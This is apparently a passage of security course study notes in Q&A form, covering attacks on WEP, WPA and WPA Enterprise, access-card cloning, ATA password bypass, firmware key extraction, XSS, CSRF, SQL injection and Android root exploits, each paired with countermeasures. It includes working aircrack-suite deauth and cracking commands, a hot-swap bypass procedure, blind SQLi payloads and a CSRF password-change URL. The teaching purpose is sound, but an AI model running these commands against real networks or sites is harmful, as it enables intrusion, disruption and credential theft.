   At this stage, the client might still need to meet additional security requirements (e.g., WPA authentication) before gaining full access to the network.

🔒 Security Mechanisms

While wired networks have a basic security advantage due to their physical access requirements,
wireless networks expand accessibility, creating the need for additional security measures.

🛡 Basic Security Mechanisms

Some of basic measures are considered "*security by obscurity*" and are relatively easy to bypass.
Below, we explain their functionality and limitations.

- **MAC Filtering**:
  Access points (APs) can check the MAC address of a client during the authentication phase.
  If the client's MAC address isn't in a predefined list, the AP denies the connection.
    - **Limitation**: Attackers can easily spoof MAC addresses to bypass this filter.
- **“Hidden” Wireless Networks**:
  APs typically broadcast their SSID in regular announcements called **beacons**.
  To "hide" the network, the AP can omit the SSID from these beacons, making it slightly harder for attackers to detect the network.

Hovewer, Microsoft recommends announcing the SSID to improve client security (e.g., Windows Vista and later prefer beacon-based discovery to avoid constant probe requests).

    - **Limitations**: Hidden SSIDs offer minimal protection since the SSID is still exposed during client connection attempts.

- **Ignoring Broadcast Probe Requests**:
  Clients often send broadcast probe requests (without specifying an SSID) to detect nearby networks.
  APs can be configured to ignore these requests, preventing unauthorized clients from discovering the network.
    - **Limitations**: This requires all authorized clients to be **preconfigured** with the correct network details.

🔑 Authentication

First, it's important to understand the distinction between authentication and encryption in wireless security:

- **Authentication** is the process of verifying a client's identity and producing a session key, which is then used in the encryption process;
- **Encryption** secures the data transmitted between the client and the access point.

Both processes occur at Layer 2 of the OSI model (Data Link Layer),
which means they take place before a user even receives an IP address.

WPA (Wi-Fi Protected Access) was introduced as an improvement over the older
WEP (Wired Equivalent Privacy) standard. WPA provides enhanced encryption and authentication mechanisms to better protect wireless networks.

It comes in two main forms:

- **WPA Pre-Shared Key (WPA-PSK)**: In this mode, a shared key is used to generate encryption keys that secure the session. The key is known by both the access point and the clients on the network.
- **WPA Enterprise**: This version is designed for larger and more secure networks, such as in businesses or institutions. Instead of a pre-shared key, it uses a more robust authentication method that involves a **RADIUS (Remote Authentication Dial-In User Service)** server.

In both WPA-PSK and WPA Enterprise, the client and the access point perform a **four-way handshake** to establish two encryption keys:

- A **Pairwise Transient Key (PTK)** for unicast communication.
- A **Group Temporal Key (GTK)** for multicast and broadcast communication.

🔐 Encryption

In wireless networks, encryption takes place between the access point (AP)
and the client at Layer 2 of the OSI model. However, there are important distinctions:

- Addressing information (such as source and destination MAC addresses) and management frames (like probes and beacons) are not encrypted.
- For data being sent from a wireless client to a wired host, the data is decrypted at the AP and sent over the wire unencrypted.
- If higher-layer protocols (like HTTPS) are encrypted, that traffic remains unaffected by 802.11 encryption/decryption.

Wireless networks offer three main encryption options:

- **Wired Equivalent Privacy (WEP)**:
  WEP was the original encryption method used in wireless networks and has been replaced by more secure protocols (WPA).
  It does not have a true authentication phase, except for a variant called dynamic WEP.
  In WEP, all participants in the network share the same encryption key.
  Weakness: WEP has several known vulnerabilities, making it highly insecure and easy to exploit.
- **Temporal Key Integrity Protocol (TKIP)**:
  TKIP was introduced as a quick fix to WEP's flaws and is based on Rivest Cipher 4 (RC4),
  similar to WEP.
  TKIP makes several improvements to address WEP’s weaknesses but still uses the same
  RC4 cipher. It was designed to be used with older hardware that couldn't support the more complex AES-CCMP encryption, allowing a firmware update to enable TKIP support.
  While AES-CCMP is now more commonly used, TKIP remains in use in some

environments due to its compatibility.

- **Advanced Encryption Standard – Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (AES-CCMP)**
  AES-CCMP is a complete redesign of the encryption process, offering far stronger security than TKIP.
  It addresses many of the potential flaws of TKIP and is considered the recommended encryption standard for wireless networks.
  AES-CCMP is more secure, but it requires more computing power, which led to its initial limited support on older hardware.

WEP

When sending data over a WEP-protected network,
the **WEP key** and an **Initialization Vector (IV)** are used to encrypt the data:

- The **IV** is pseudo-randomly generated for each frame and added to the frame's 802.11 header.
- Together, the WEP key and IV are used to create a **keystream** that turns plaintext data into ciphertext via an XOR process.
- To decrypt, the receiver uses the same WEP key and extracts the IV from the received frame, then generates the keystream to decrypt the ciphertext back into plaintext.
- The decrypted data is validated by checking a checksum before it’s further processed.

The IV is only 24 bits long, which is quite short.
This can lead to duplicate IVs being generated, especially when large amounts of data are transmitted. If the same IV is used in multiple frames, attackers can:

- Compare the ciphertexts of these frames to deduce the keystream.
- Collect many frames of predictable types (e.g., **ARP packets**), which can be easily guessed. The more frames the attacker collects, the easier it becomes to identify the keystream.

With enough data, the attacker can:

- **Deduce the keystream**, which is used to decrypt frames encrypted with the same IV.

- **Inject new frames** into the network, as they can now decrypt and re-encrypt the data.
- In some cases, **guess the WEP key** if enough of the keystream is identified.

Cracking WEP encryption requires gathering a large amount of data,
either duplicate IVs or specific types of frames (like ARP packets),
to gradually deduce the keystream and eventually break the encryption.

Encryption Attacks vs. Authentication Attacks:

- **Encryption Attacks** exploit flaws in the way encryption
  algorithms or protocols operate.
  In WPA, encryption relies on the success of the authentication phase.
  If there’s a flaw in encryption mechanisms like **TKIP** or **AES-CCMP**,
  an attacker could decrypt data, encrypt data, and even send forged data as if
  they were a legitimate user. However, in WPA, network keys rotate,
  so an attacker can only perform these actions until the keys change.
  With **WEP**, there's no true authentication phase and no key rotation,
  so once an attacker cracks the key, they can access the network as a valid
  user indefinitely, decrypt others' data, and inject forged data.
- **Authentication Attacks** target the process of verifying a user's identity,
  often aiming to bypass or exploit weaknesses in the authentication mechanism.
  These attacks often involve brute-forcing passwords, though there are other methods.
  Unlike encryption attacks, authentication attacks focus on compromising the credentials
  used to access the network rather than the data being transmitted.

Q: Deauth attacks (Denial of Service Attacks)

A: 💣 `De-authentication Attack`: The de-authentication (or deauth) attack spoofs de-authentication frames from the client to the AP, and vice versa, to instruct the client that the AP wants it to disconnect and to instruct the AP that the client wants to disconnect. This almost always works, but sending more than one frame is useful, as no requirement is
defined in the 802.11 standard as to when the client will attempt to reconnect. So client drivers often try to reconnect very quickly.

- `aireplay-ng`: aireplay-ng, a tool within the aircrack-ng suite, is a simple tool that performs a variety of functions, one of which is the de-authentication attack. Its de-authentication method is pretty aggressive, sending out a total of 128 frames for every deauth you define (64 to the AP from the client and 64 to client from the AP).
  With the adapter in monitor mode and on channel 1:
    - `iwconfig mon0 channel 1`

  Launch a de-authentication:
    - `aireplay-ng --deauth 2 -a 00:11:92:B0:2F:3B -c 00:23:15:2E:2C:50 mon0` by defining the count (`--deauth 2`), the BSSID (`-a 00:11:92:B0:2F:3B`), the client (`-c 00:23:15:2E:2C:50`), and the interface (`mon0`).

  An attacker can use the de-authentication attack to reveal the SSID of a "hidden" wireless network by observing the client's probe requests as it reconnects. It can also be used in attacking WPA-PSK in "Authentication Attacks."

`Stopping De-authentication Attacks`: Because the de-authentication attack abuses a function defined within the 802.11 specification, there is little you can do to mitigate your risk to this attack completely while staying true to the standard. I've seen some corporate customers create custom drivers in which the client's wireless adapter disconnects if it sees a de-authentication frame and quickly reconnects to a completely different company access point. This creates a cat-and-mouse game between the attacker and his or her target. Tools have been released that observe this behavior and attempt to automate the tracking of the client as it moves to each AP, kicking it off as soon as it finds it.

Q: Describe one WEP attack method and countermeasures (Encryption attack).

A: Several attacks on the WEP (Wired Equivalent Privacy) algorithm emerged soon after its introduction in wireless networks.
While there are many types of attacks on WEP,
we'll focus on two: a passive attack for historical context and a
traffic injection attack using the ARP replay attack.

`Passive Attack`:

The passive attack was a widely used method in the early days of WEP cracking.
It involves capturing a large amount of wireless traffic and analyzing it to deduce the WEP key.
Here's how the attack works:

To perform the attack, you need to collect a significant amount of data frames
(up to 1GB or more). Depending on network activity, this process can take anywhere
from hours to weeks. As you capture data, the tool you're using extracts the Initialization
Vectors (IVs) and attempts to deduce the WEP key. Originally, cracking a 104-bit WEP key
required around 1 million IVs, but with newer techniques, the number
has dropped to as low as 60,000. Any 802.11 packet capturing tool
can be used to record WEP frames and save them in a PCAP file.

🔧 `airodump-ng`: is a common tool known for its lightweight and efficient performance.
Here's an example command to capture the data:

- `airodump-ng --channel 1 --write wepdata mon0`
  `--channel 1` specifies the channel to capture data from
  (in this case, channel 1);
  `--write wepdata` instructs the tool to save the captured data into a
  PCAP file named "wepdata";
  `mon0` specifies the wireless interface to use for monitoring.

🔧 `aircrack-ng`:
It performs the statistical analysis needed to crack the WEP key.
It takes a PCAP file as input and automatically reloads the file to analyze more
data as it progresses. This feature gives you an idea of how much data (IVs) you have,
and by watching the rate at which
the IVs are incrementing, you can get a good sense as to how much longer it will
take to gather enough to crack the key.

To launch aircrack-ng, just provide a PCAP
file, for example, `wepdata-01.cap`:

- `aircrack-ng wepdata-01.cap`

You'll know you've cracked the key when aircrack-ng stops and the output says `KEY FOUND!`.

⛔ `Countermeasures`: WEP should be treated as obsolete.

If your network is still using WEP, it’s crucial to **disable it immediately**.
WEP is essentially equivalent to an open wireless network in terms of security, so it’s best to avoid it altogether.
Implementing encryption at higher layers, like VPNs, can help protect the transport data of your clients. However, ensure proper configuration to avoid vulnerabilities that could allow attackers to target internal network resources.
Simply put, never use WEP. It's outdated and highly vulnerable to attacks.
Switch to stronger security protocols like WPA2 or WPA3.

Q: Describe at least one method for attacking WPA (Wi-Fi Protected Access). Which countermeasures can be used? (Authentication Attack)

A: 💣 `WPA Pre-Shared Key`: The **pre-shared key (PSK)** used in WPA-PSK is shared among all users of a particular wireless network. It’s also used to derive the specific encryption keys that are used during a user’s session. For this reason, an attacker observing the four-way handshake can then launch an offline brute-force attack against it to figure out the pre-shared key:

- **Step 1 - Obtaining the Four-Way Handshake**: Regardless of how you actually brute force the key, all tools require a captured four-way handshake.
  The handshake happens every time a client connects to a wireless network.
  So you can wait around to **sniff the handshake passively**, or kick a client off with the de-authentication attack just so you can sniff the handshake when the client reconnects. Make sure your wireless packet-capturing tool is set to watch only the specific channel your target is on. If you don’t, you may hop to a different channel and only capture part of the handshake.
  Example (root):

  ```
  airodump-ng --channel 11 --bssid 00:16:XX.. --write wpa-psk mon0
  ```

- **Step 2 - Brute Forcing**: With the four-way handshake in hand, you’re ready to **launch an offline brute-force attack** with three methods:
  - Method 1: **Aircrack** (root): `aircrack-ng -w password.lst wpa-psk.cap`;
  - Method 2: **Rainbow tables**: Rainbow tables contain **precomputed hashes for a particular algorithm type**. These tables can greatly

    reduce cracking time in cases where you have to crack the same algorithm multiple times.
    When performing an offline brute-force attack, the brute-forcing program takes a string that it guesses is the password → encrypts it with the applicable algorithm (producing a hash) → and then compares that hash to the one you're trying to brute force.
    If the hash matches → the guess was correct; if it doesn't → the brute-forcing program moves on to the next string;
  - Method 3: **GPU cracking**: Our computers' graphics cards are loaded with multiple cores, they can complete tasks very quickly, and are designed for optimal performance, making them great candidates for password cracking. By offloading the hash creation process to the Graphical Processing Unit (GPU), we can **increase our cracking speeds**.

⛔ `Countermeasures`: WPA-PSK security all comes down to the **complexity of the chosen pre-shared key** and your **users' integrity**. If you choose an extremely complex pre-shared key, but share it among 100 users, and one of them knowingly or unknowingly discloses the credentials, the entire network is at risk.
Ensure WPA-PSK is only used in environments where all options are considered, and ensure the key is complex enough to withstand a dedicated attacker.

Q: Describe at least one method to attack WPA Enterprise. What are the possible countermeasures? (Authentication Attack)

A: In order to gear our attack toward a particular EAP type, we first need to **identify which EAP type a client is using**. We do this by observing the communication between the client and the AP during the initial EAP handshake. We can capture the EAP handshake in essentially the same way that we captured the four-way handshake when we targeted WPA-PSK.
Once we have the handshake, we'll analyze it using a standard packet capturing tool to figure out the network client. Using **Wireshark**, we filter on `eap` to inspect only the EAP handshake. Wireshark parses out the important information and shows us the EAP type right in the Info column.

> **Note**: **EAP (Extensible Authentication Protocol)** is a flexible authentication framework used in network access protocols, including WPA Enterprise. EAP supports multiple authentication methods, such as certificates, passwords, and token-based systems.

The attacks that you can do are:

- 💣 `LEAP`: The **Lightweight Extensible Authentication Protocol (LEAP)** wireless technology was first created and brought to market by Cisco Systems. Unfortunately they uncovered a horrible secret. LEAP takes a `MSCHAPv2` challenge and response and transmits them in the clear over the wireless network. In just about any scenario where an attacker can observe a challenge and also the response, you have the potential for an offline brute-force attack.
  - 🔧 `asleap`: Asleap is a tool that attacks the challenge and response within the EAP handshake performed on a wireless network using LEAP. Asleap can support a variety of options such as creating rainbow tables, handshake capturing, and accepting the challenge and response via the command line.
    Here, we just provide the capture file containing the EAP handshake (-r leap.cap) and a wordlist (-W password.lst):

    ```
    asleap -r leap.cap -W password.lst
    ```

  ⛔ `Countermeasures`: LEAP has been in the same bucket as WEP for a number of years now. It's sort of a bruise on the face of wireless security, but the truth of the matter is that with an **extremely complex password**, LEAP can be secure.
- 💣 `EAP-TTLS and PEAP`: EAP-TTLS and PEAP are two of the **most commonly used EAP types**. They establish a TLS tunnel between the unauthenticated wireless client and a wired-side RADIUS server. The AP has no visibility into this tunnel and simply relays the traffic between the two. The TLS tunnel is established so the client can transmit credentials via a less secure, inner authentication protocol. TLS is a relatively secure protocol, so "tapping" into the tunnel is currently out of the question.
  However, since the nature of wireless networks makes them extremely susceptible to AP impersonation and man-in-the-middle attacks, another option is available. The trick here is to impersonate the AP that the target client is looking to connect to and then act as the terminating end of the TLS tunnel.

⛔ `Countermeasures`: EAP-TTLS and PEAP can be secured with a simple checkbox and an input field. Be sure to **validate the server certificate** on all wireless clients connecting with EAP-TTLS and PEAP. By checking that box and defining the common name on the certificate, you force clients to ignore any RADIUS servers that are not explicitly allowed on by you, and therefore, an attacker won't be able to terminate the TLS tunnel.

CH. 9: Hacking Hardware

Q: Describe at least two techniques for hacking devices (hardware). In particular, describe the attacks against hardware devices that store sensitive informations.

A: Many secure facilities require that an access card be used for entry in addition to other security measures. These cards normally come in one of two types: **magnetic stripe (magstripe)** or **RFID (Radio Frequency Identification**; these are often referred to as proximity cards).

- **Hacking MagStripe cards** :
  Many magnetic cards comply with ISO standards 7810, 7811 and 7813 which define a
  standard size and say that the card contains 3 data tracks called tracks 1, 2 and 3.
  Most of these cards have **no security measures to protect the data** saved in the card
  and **encrypt data in clear text**, so they are easy to clone and reuse.
  There are tools to clone them, alter them and update their data,
  such as the `makinterface.de` reader/writer which is sent with a Magnetic Stripe Card Explorer software,
  which allows anyone to do this attack once the data from the source card has been acquired.
  The tool allows you to display card data in Char, Binary or ISO on the screen and can provide data information such as ID number,
  serial number, social security number, name, address, account balance and other

common information of these cards.
This data is in thick custom format and must be decrypted to be readable.
Brute forcing card values can be a quick way to gain access to a system or bypass a panel.
However, to analyze the card data easily, you can read more cards of the same type and then use a tool and inspect the data.
Find a common context, such as 2 binary codes that differ only for a few bits that probably
represent 2 different card IDs if (for example) they are sequential numbers.
So writing data on a card is simple but many tracks include checksum data to check if the data is valid or the card is not damaged; if there is a checksum you need to figure out which checksum is being used and recalculate a new one before using the card.

- **Hacking RFID cards**: Magstripes are temporarily disappearing in favor of RFID card systems, which are used to provide access to facilities as well as payment systems around the world. Many RFID card access systems operate at 135kHz or 13.56MHz and like their predecessors these RFID cards are often unsecured and can be cloned (custom encryption and other security measures are now being adopted to mitigate the risks). RFID card is from HID Corp which uses a proprietary protocol.
  There are pre-assembled devices and kits available from `openpcd.org`, although a more advanced read/write device is **proxmark3**, which has an on-board FPGA built in to allow decoding of various RFID protocols. This is less immediate because it requires the purchase of parts and circuit boards to be assembled in a custom way by the user.
  A third option is the **Universal Software Radio Peripheral (USRP)** which can intercept radio waves which must then be decrypted by the user (also very advanced). A USRP can send and receive raw signals on common RFID frequencies, allowing to intercept and imitate cards and finally its decoding software must be written according to the protocol.
  ⛔ `Countermeasures` for Cloning Access Cards: Often we have to rely completely on the vendors of the access cards, which however have as their first goal to make their cards affordable, not including security in their plans. Only now they are moving by inertia with the new, more complex systems to protect.
  Many new RFID access systems implement a comprehensive **challenge-**

response cryptographic algorithm to help prevent cloning, replay, and other attacks. When the card is energized by the reader, a challenge is sent to the RFID card, which is encrypted and marked by the private key saved on the card and sent back to the reader. The reader validates the response before allowing access, so even if the exchange were intercepted, the response would not be usable twice. With the common adoption of RFID, robust countermeasures such as challenge-response protocols and strong encryption were born.

Q: Explain what is Advanced Technology Attachment security mechanism. Describe the step of the attack which is able to bypass ATA security. How to defend against such a bypass?

A: **ATA security is a common safeguard** used by companies **to deter the usage of a stolen laptop**. The ATA security mechanism requires that the user type a password before an hard disk can be accessed by the BIOS. This security feature does not encrypt or protect the contents of the drive, only access to the drive. As a result, it provides minimal security.
Many bypass products and services exist for specific drives; however, the most common and easiest to perform is simply to **hot-swap** the drive into a system with ATA security disabled.

💣 `Hot-swap attack steps`:

- Find a computer capable of setting ATA password with an unlocked drive;
- Boot the computer with the unlocked drive;
- Enter BIOS interface and prepare to set a BIOS password;
- Replace the unlocked drive with the locked drive (Carefully);
- Set the hard disk password using BIOS interface, the drive will accept the new password;
- Rebooting BIOS will prompt you to unlock the drive bypassing the old one;
- The password can be cleared from the system if a new password is not desired.

⛔ `Countermeasures`: The best defense against ATA drive password bypass is to avoid it: **don’t rely on ATA security** to protect drives from tampering or to protect the contents of the drive. Many ATA drives are trivial to bypass, and password protecting them provides a false sense of security.
As an alternative to ATA password security, **use full disk encryption** to protect the entire

contents of the drive or sensitive partitions on the drive. Three common products that provide disk encryption are **BitLocker**, **TrueCrypt**, or **SecurStar**.

Q: Wireless interface sniffing

A: Before you can access a wireless interface,
you need an available client such as a wireless card or a bluetooth device.
At this point, a layer 2 software attack could be carried out against the device,
but if it cannot be done, there is a need to reconnaissance.
We start by **identifying the FCC ID** of the device that should be printed on the device, packaging or in the manual.
With the FCC ID you can search the FCC website for documents
about the device for information such as radio frequencies at which it operates,
or type of modulation it uses, mutilated to do **symbol decoding**
(it is deciphering the lowest level bits from wireless channel on which the device operates).
To do this, you need defined radio softwares such as **WinRadio** or **USRP**,
as well as a lot of software programming.

Q: Firmware reversing

A: Many embedded devices require **custom firmware**,
which is often held upgradable and can be loaded by the user.
Searching for firmware files (site) can lead to device information such as default passwords, administrative ports and debugging interfaces (fast way with a hex editor like 010 Editor
of SweetScape Software).

Another common and fundamental tool in reverse engineering the firmware
of an embedded device is **IDA Pro**, since it supports hundreds of different processors.
Another useful tool is the UNIX command `strings` which prints all ASCII strings from a binary, useful because many developers hardcode passwords, keys, etc.

We can mount the firmware image using the mount command:

```
sudo mount -o loop -t cramfs
```

Once accessed, we can browse the file system in search of public and private authentication keys, for example with the find command:

```
find /tmp/cramfs -name *.key
find /tmp/cramfs -name *.cert
```

Having obtained the keys we can forge a SSL connection and act as a trusted device on the private network.
Another attack vector is the unintentional backdoor (created by programmers) in the form of testing code that is not removed after development.

Ch. 10: Web and Database Hacking

Q: Explain differences between Cross-Site scripting and Cross Site Request Forgery. Which countermeasures can be used?

A: 💣 `Cross-Site Scripting (XSS)` occurs due to poor input or output validation in web applications. Instead of directly attacking the application, XSS typically aims to exploit other users interacting with the vulnerable site.
Thus, XSS attack payloads typically affect the application end user, a commonly misunderstood aspect of these widely sensationalized exploits. Properly executed XSS attacks can be devastating to the entire user community of a given web application, as well as the reputation of the organization hosting the vulnerable application. Specifically, XSS can result in hijacked accounts and sessions, cookie theft, misdirection, and misrepresentation of organizational branding. Nearly every single XSS vulnerability we've come across involved failure to strip angle brackets from input or failure to encode such brackets in output.

⛔ `Countermeasures`: General approaches recommended:

- **Filter out** input parameters for **special characters** (<, >, (?), #, &, “);
- **HTML-encode** output so even if special characters are in input, they appear harmless to subsequent users of the application;
- If your application set cookies, use Microsoft's HttpOnly cookies;
- Analyze your application for XSS vulnerabilities on a regular basis using the many

tools and techniques.

💣 `Cross-Site Request Forgery (CSRF)` vulnerabilities have been known about for nearly a decade, but it's only recently that they have been recognize as a serious issue. The MySpace worm (2005) rocketed them to the forefront of web application security, and subsequent abuses earned them position number 5 on the OWASP top 10. The concept behind CSRF is simple: web applications provide users with persistent authenticated sessions, so they don't have to re-authenticate themselves each time they request a page. But if an attacker can convince the user's web browser to submit a request to the website, he can take advantage of the persistent session to perform actions as the victim. Attacks can result in a variety of ill outcomes for victims: their account passwords can be changed, funds can be transferred, merchandise purchased, and more. Because the victim's browser is making the request, an attacker can target services to which he normally would not have access.

⛔ `Countermeasures`: The key to preventing CSRF vulnerabilities is somehow tying the incoming request to the authenticated session. What makes CSRF vulnerabilities so dangerous is the attacker doesn't need to know anything about the victim to carry out the attack. Once the attacker has crafted the dangerous request, it works on any victim that has authenticated to the website. To foil this, your web application should **insert random values**, tied to the specified user's session, into the forms it generates. If a request comes in that does not have a value that matches the user's session, require the user to re-authenticate and confirm that he wishes to perform the requested action.

Q: Describe the SQL injection technique in web applications. Discuss the possible countermeasures. Describe at least one automated SQL injection tool.

A: In response to a request for a web page, the application generates a query, often incorporating portions of the request into the query. If the application isn't careful about how it constructs the query, an attacker can alter the query, changing how it is processed by the external service. These injection flaws can be devastating because the service often fully trusts the web application and may even be "safely" ensconced behind several firewalls.
💣 `SQL injection` refers to inputting raw SQL queries into an application to perform an unexpected action. Often, existing SQL queries can be altered to produce the same results. By placing even a single character in a carefully chosen spot, the entire query can be manipulated to behave in malicious ways. Some of the characters commonly used for such input validation

attacks include the back-tick (‘), the double dash (--), and the semicolon (;), all of which have special meaning in SQL.

Automated tool: SQL injection is typically performed manually, but some tools are available that can help automate the process of identifying and exploiting such weaknesses. Both of the commercial web application assessment tools, **HP WebInspect** and **Rational AppScan**, have tools and checks for performing automated SQL injection. Completely automated SQL injection vulnerability detection is still being perfected, and the tools generate a large number of false positives, but they provide a good starting point for further investigation.

- 🔧 `SQL Power Injector` is a free tool to analyze web applications and locate SQL injection vulnerabilities. Built on the .NET Framework, it targets a large number of database platforms, including MySQL, Microsoft SQL Server, Oracle, Sybase, and DB2.
- 🔧 `Absinthe` is a GUI-based tool that automatically retrieves the schema and contents of a database that has a blind SQL injection vulnerability. Supporting Microsoft SQL Server, Postgres, Oracle, and Sybase, Absinthe is quite versatile. For a more thorough drubbing, Sqlninja provides the ability to take over the host of a Microsoft SQL Server database completely. Run successfully, **Sqlninja** can also crack the server passwords, escalate privileges, and provide the attacker with remote graphical access to the database host.
- 🔧 `sqlmap` provides support for most common RDBMS being used today.

⛔ `Countermeasures`: SQL injection is one of the easiest attacks to avoid. Here is an extensive but not complete list of methods used to prevent SQL injection:

- Use bind variables (**parameterized queries**) – static/bind variables;
- Perform strict **input validation** on any input from the client;
- Implement default **error handling**;
- Lock Down ODBC – Disable the execution of arbitrary SQL disabling the messaging to clients;
- Lock down the database server configuration;
- Use programming frameworks – Like Hibernate to use bind variables.

Q: What does it mean that the HTTP protocol is stateless? What limitations come from this fact? What are HTTP sessions and what are the major techniques to implement sessions? Describe in detail the functioning of at least one of these techniques.

A: HTTP is called as a stateless protocol because **each request is executed independently**, without any knowledge of the requests that were executed before it. The main limitation is that some dynamic web application require the ability to maintain some kind of sessions.

The solution is represented from the use of the sessions:

- Avoid log-ins in for every requested page;
- Store user preferences;
- Keep track of past actions of the user (e.g. shopping cart...).

Techniques: Two possible mechanism to create a session schema:

- Data inserted manually by the coder of the web application (obsolete and unsecure);
- Implemented in the programming language of the web application.

Main example: Session cookie:

- most used technique;
- session data stored on the server;
- the server sends a session id to the client through a cookie;
- for each request, the client sends back the id to the server (e.g., Cookie: `PHPSESSID=da1dd139f08c50b4b1825f3b5d`);
- the server uses this id to retrieve information.

Q: What is a Blind SQLi? Make a concrete example.

A: A **Blind SQL injection** has the same concept of a SQL injection but the attacker will not see the result of the query in the screen. Consider an application that uses tracking cookies to gather analytics about usage.

Requests to the application include a cookie header like this:

```
Cookie: TrackingId = u5YD37Tj4
```

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:

```
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD37Tj4'
```

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a “Welcome back” message is displayed within the page. This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

- `a' OR 1=1--`
- `a' OR 1=2--`

The first of these values will cause the query to return results, because the injected `OR 1=1` condition is true, and so the “Welcome back” message will be displayed. Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the “Welcome back” message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.

Q: CSRF, token e XSS (why anti-CSRF tokens don’t work as countermeasure if there is a XSS vulnerability).

A: 💣 `Cross-Site Scripting (XSS)` occurs due to poor input or output validation in web applications. Instead of directly attacking the application, XSS typically aims to exploit other users interacting with the vulnerable site.
Thus, XSS attack payloads typically affect the application end user, a commonly misunderstood aspect of these widely sensationalized exploits. Properly executed XSS attacks can be devastating to the entire user community of a given web application, as well as the reputation of the organization hosting the vulnerable application. Specifically, XSS can result in

hijacked accounts and sessions, **cookie theft**, **misdirection**, and **misrepresentation of organizational branding**. Nearly every single XSS vulnerability we've come across involved failure to strip angle brackets from input or failure to encode such brackets in output.

⛔ `Countermeasures`: General approaches recommended:

- **Filter out** input parameters for **special characters** (<, >, (?), #, &, ");
- **HTML-encode** output so even if special characters are in input, they appear harmless to subsequent users of the application;
- If your application set cookies, use Microsoft's HttpOnly cookies;
- Analyze your application for XSS vulnerabilities on a regular basis using the many tools and techniques.

💣 `Cross-Site Request Forgery (CSRF)` vulnerabilities have been known about for nearly a decade, but it's only recently that they have been recognize as a serious issue. The MySpace worm (2005) rocketed them to the forefront of web application security, and subsequent abuses earned them position number 5 on the OWASP top 10. The concept behind CSRF is simple: web applications provide users with persistent authenticated sessions, so they don't have to re-authenticate themselves each time they request a page. But if an attacker can convince the user's web browser to submit a request to the website, he can take advantage of the persistent session to perform actions as the victim. Attacks can result in a variety of ill outcomes for victims: their account passwords can be changed, funds can be transferred, merchandise purchased, and more. Because the victim's browser is making the request, an attacker can target services to which he normally would not have access.

⛔ `Countermeasures`: The key to preventing CSRF vulnerabilities is somehow tying the incoming request to the authenticated session. What makes CSRF vulnerabilities so dangerous is the attacker doesn't need to know anything about the victim to carry out the attack. Once the attacker has crafted the dangerous request, it works on any victim that has authenticated to the website. To foil this, your web application should insert random values, tied to the specified user's session, into the forms it generates. If a request comes in that does not have a value that matches the user's session, require the user to re-authenticate and confirm that he wishes to perform the requested action.

Anti-CSRF tokens don't work with XSS because with an XSS payload the user can obtain the anti-CSRF token and then forge a new payload using the anti-CSRF token, circumventing the countermeasure.

Q What is a Cross Site Scripting (XSS) and what are its goals and causes? What types of XSS exist? Describe at least two types of XSS in detail.

💣 `Cross-Site Scripting (XSS)` occurs due to poor input or output validation in web applications. Instead of directly attacking the application, XSS typically aims to exploit other users interacting with the vulnerable site.
Thus, XSS attack payloads typically affect the application end user, a commonly misunderstood aspect of these widely sensationalized exploits. Properly executed XSS attacks can be devastating to the entire user community of a given web application, as well as the reputation of the organization hosting the vulnerable application. Specifically, XSS can result in hijacked accounts and sessions, cookie theft, misdirection, and misrepresentation of organizational branding. Nearly every single XSS vulnerability we've come across involved failure to strip angle brackets from input or failure to encode such brackets in output.

We can list 3 main types of XSS vulnerabilities:

- Stored XSS
- Reflected XSS
- DOM-based XSS

Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc.
Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data.
DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e. the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser.

Q: Describe in detail Cross Site Request Forgery (CSRF). Provide one concrete attack example. What are CSRF tokens? How do they work?

A: CSRF is a well known web attack that leverages the server-side trusted sessions of the

users. Let’s make a concrete example.
As we know, HTTP protocol is stateless, this means that every request is standalone and it doesn’t rely on the previous requests sent. To track the users an E-Commerce web application can use the **cookies**, a well known method to track sessions. When the user sends a request to the server, the server checks the cookie and if the cookie is known to the application, it means the user is logged in and he/she can perform this type of request.
What if the attacker sends a malicious URL to the user? For example the attacker can send to the user `http://e-commerce.shop/change-pwd?new-pwd=attacker-inside1`. If the user clicks this link and the user is logged in on the website, the browser will attach to the request also his/her cookie. So, from the perspective of the server this is a legitimate request and so the password of the user will change.
To prevent this type of attack, anti-CSRF tokens were born. This type of token is a random value, like `wuiycti8l23br3itvwavgefkq` that the server sends within the forms/links in the requested webpage. This token changes every time the user requests or refresh the page, and also at given time threshold, for example after 5 minutes of inactivity. When the user performs a request, two things now are checked, if one of the two doesn’t match with the server ones, the request is not performed.

Ch. 11: Mobile Hacking

Q: Hacking Other Androids: Describe at least three methods to attack others Android devices. What are the possible countermeasures?

A: There are several types of remote Android attacks:

- 💣 `Remote Shell via WebKit`: One example of a remote Android vulnernability is the **floating point vulnerability** in the WebKit open source web browser engine. The root cause of this vulnerability is improper handling offloating point data types in WebKit, which drives the default browsers on many mobile platforms (iOS, Android and so on). The exploit is basically a crafted HTML file that, when accessed through a web server using the default Android web browser, returns a remote shell. Successful exploitation requires a web server to host the HTML file

(like Apache2).
⛔ `Countermeasures`: Get the latest version of Android and install antivirus software; Install antivirus software on the device to protect against exploits and other malicious applications.

- 💣 `Rooting an Android - RageAgainstTheCage`: With the previous exploit we do not have root privileges and, therefore, we are limited in power. To have full access, it's necessary to execute a root exploit. Two popular root exploits for Android are **exploid** and **RATC (RageAgainstTheCage)** (Android version 1.x/2.x). Rage Against the Cage exploits the fact that the Android Debug Bridge daemon (adb) on Android devices starts as root by default, and calls setuid to drop its privileges to those of a shell account. The ADB daemon is what runs on Android phones to enable Android software developers to communicate with the phones they're testing their software on.
⛔ `Countermeasures`: Get the latest version of Android and install antivirus software.
